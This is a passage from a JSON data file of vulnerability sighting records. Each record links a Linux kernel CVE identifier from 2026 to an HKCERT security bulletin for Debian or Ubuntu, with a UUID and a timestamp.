"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31492", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "309996d9-f0a2-4f17-b018-fee9c0df69e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31494", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "471ca4e3-dcb7-4e30-98d4-454ee6b9b3a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31495", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "23f0c9ff-f247-4b4e-857d-aa2e607f69c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31496", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "e90f1c31-4fae-4835-a27b-0f8e3e685b4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31497", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "2064f21c-6d6c-4a60-8c43-d3ab8fa3efc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31498", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "2df1f871-4d1a-4710-93f2-c9435dc96582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31503", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "451e1ffc-0b67-4238-91aa-bb928fd751e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31504", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "96adadaa-f651-4f4a-a27e-1f50c730c395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31507", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "463c6269-4d50-4680-a878-f19401e6e2e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31508", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "150f39c3-327a-4f09-8e3e-28c447822032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31509", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "33733867-4531-4d5a-ad21-6e18372cee65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31515", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "0f06af0e-b115-4109-8702-f7696d4af43b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31518", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "8dbc6cfb-da07-4df6-bf65-ee038016db64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31520", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "7d10eb28-1558-4554-8f90-6500facc0008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31521", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "0cd2131c-e45a-4fb0-994e-9a298b0b7b18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31522", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "fdb6d231-7cb8-41ee-b065-e5c0a1498b86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31524", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "0892376a-ab66-4f3d-9e17-fd84735af6cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "7747877b-24cb-40d4-b2a5-d5173fd9c875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31540", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "90eea7c4-2903-4ed5-a293-5adf816414d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31545", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "853e6128-26ca-4424-8d1a-9e7cfd3d4492", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31550", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "7c1aad51-d475-4656-a90e-da43ced8f727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31551", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "37fbfa62-443c-4791-a1f4-29bdd66a9123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31552", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "4b98ee3e-990b-44ec-bd07-92ab518e9930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31555", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "175aa57e-6d0b-4322-b7bf-10a74f1aff86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31565", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "f49b5cc1-e6f8-408b-b4d6-15703c0c8176", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31566", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "1bbcac5e-d0e4-4967-9e1a-e38533175556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31570", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "83d479e9-4abf-4f78-8ef7-9826b0cfb02c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31585", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:54:47.127490Z"}, {"uuid": "4cd0cd8c-0b6d-41cc-9ebe-6a7a3d330f4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31594", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:54:56.186237Z"}, {"uuid": "c3c933ee-4ea7-4392-bba3-b8a9d54befa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31634", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "8555de38-c434-4511-99df-380f4168ae57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31656", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "8980b59f-fc97-4084-909b-f6ef9d0e2ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31749", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "dd3cef3b-7c25-4acc-9e83-8684ae0e75b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31464", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "3785b2d8-679c-46d9-b716-de4cf271e6d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31466", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "7a30907c-e6df-45fa-af8b-7043d462ba7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31778", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "dc9682d5-0a70-451e-8a62-a735d0e237c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31588", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:54:51.682884Z"}, {"uuid": "472b59f0-f853-4230-9084-8b4185ae63a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31590", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:54:53.916681Z"}, {"uuid": "baa9d125-d5cb-44f8-9268-52b356de7cfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31598", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:56:45.028316Z"}, {"uuid": "b6180150-45d9-4c0c-a63a-aca839d012c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31657", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "f48c9cc3-13b6-4fb8-9574-690619c22adf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31658", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "a645f1db-b16d-481f-9be6-a303e738b963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31659", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "1250a0b1-e153-4d38-bdfb-b9a5156cd45b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31661", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "54ef453f-19f3-4de7-8e51-2f8a19d2ea81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31671", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "4ec4af07-60c0-4341-84fe-a0bbac789f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31680", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "cf3d8224-5959-41f3-8270-1cb548f375c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31662", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "e25ae9cd-f058-4daa-87b3-ecc004cde6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31664", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "3debd7b2-89a6-49f0-84cb-0ee13b7ed7f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31678", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "0abd7657-f8f7-44b2-a62e-1b6206965bd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31759", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "4d44ddde-19b4-40da-9cc8-94c119ecd10b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31596", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:54:58.473078Z"}, {"uuid": "1e7511c0-761f-48ec-8a8b-6dc0a1d8196c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31603", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:57:22.989211Z"}, {"uuid": "4d9c6d13-1825-4f73-9057-eb28b5bcd88f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31618", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:58:10.728431Z"}, {"uuid": "3f1bbb32-6496-438e-af7e-5298385beaf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31665", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "0dc44ce1-6729-43e2-a4f5-d641c20cf3b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31726", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "80537631-1cc4-4f17-ad18-d72c20669d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31599", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:56:48.340429Z"}, {"uuid": "06f071ea-90b7-4c91-8847-9921947045c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31667", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "d9a63960-5781-47bf-b879-576189014306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31669", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "411cd4f3-1f45-424b-90ef-18e3d7320f26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31748", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "74fbd320-4dea-449e-97c9-36da5e551deb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31756", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "543b423e-e115-4d03-acb2-3a47780fc8aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31770", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "9b2ebaea-6458-41bd-91e3-429d5a21840f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31602", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:57:20.759217Z"}, {"uuid": "22e4cd4b-d1fc-4786-a8d8-586fd0c294a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31615", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:57:27.595814Z"}, {"uuid": "d1dc8587-129f-4286-a655-1691572772d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31670", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "e3f8f842-cbb0-45ef-89f6-e386e9384cf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31672", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "102401dc-e432-49f6-842e-71d7d8f19ce4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31605", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:57:25.364621Z"}, {"uuid": "4b7495e4-727e-45fe-8540-62525e402929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31674", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "e0cb2c44-7e60-43c1-a011-e74581b1f227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31689", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "f986a5d2-1473-46db-942a-e465d1b1f520", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31616", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:58:05.434563Z"}, {"uuid": "255fbd8d-8d97-400b-8756-0528124a108e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31624", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:58:50.475000Z"}, {"uuid": "a7871ed5-5219-41e7-9a12-90907ef2a458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31679", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "38a31d67-db3d-4100-9f39-3356bea12a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31695", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": 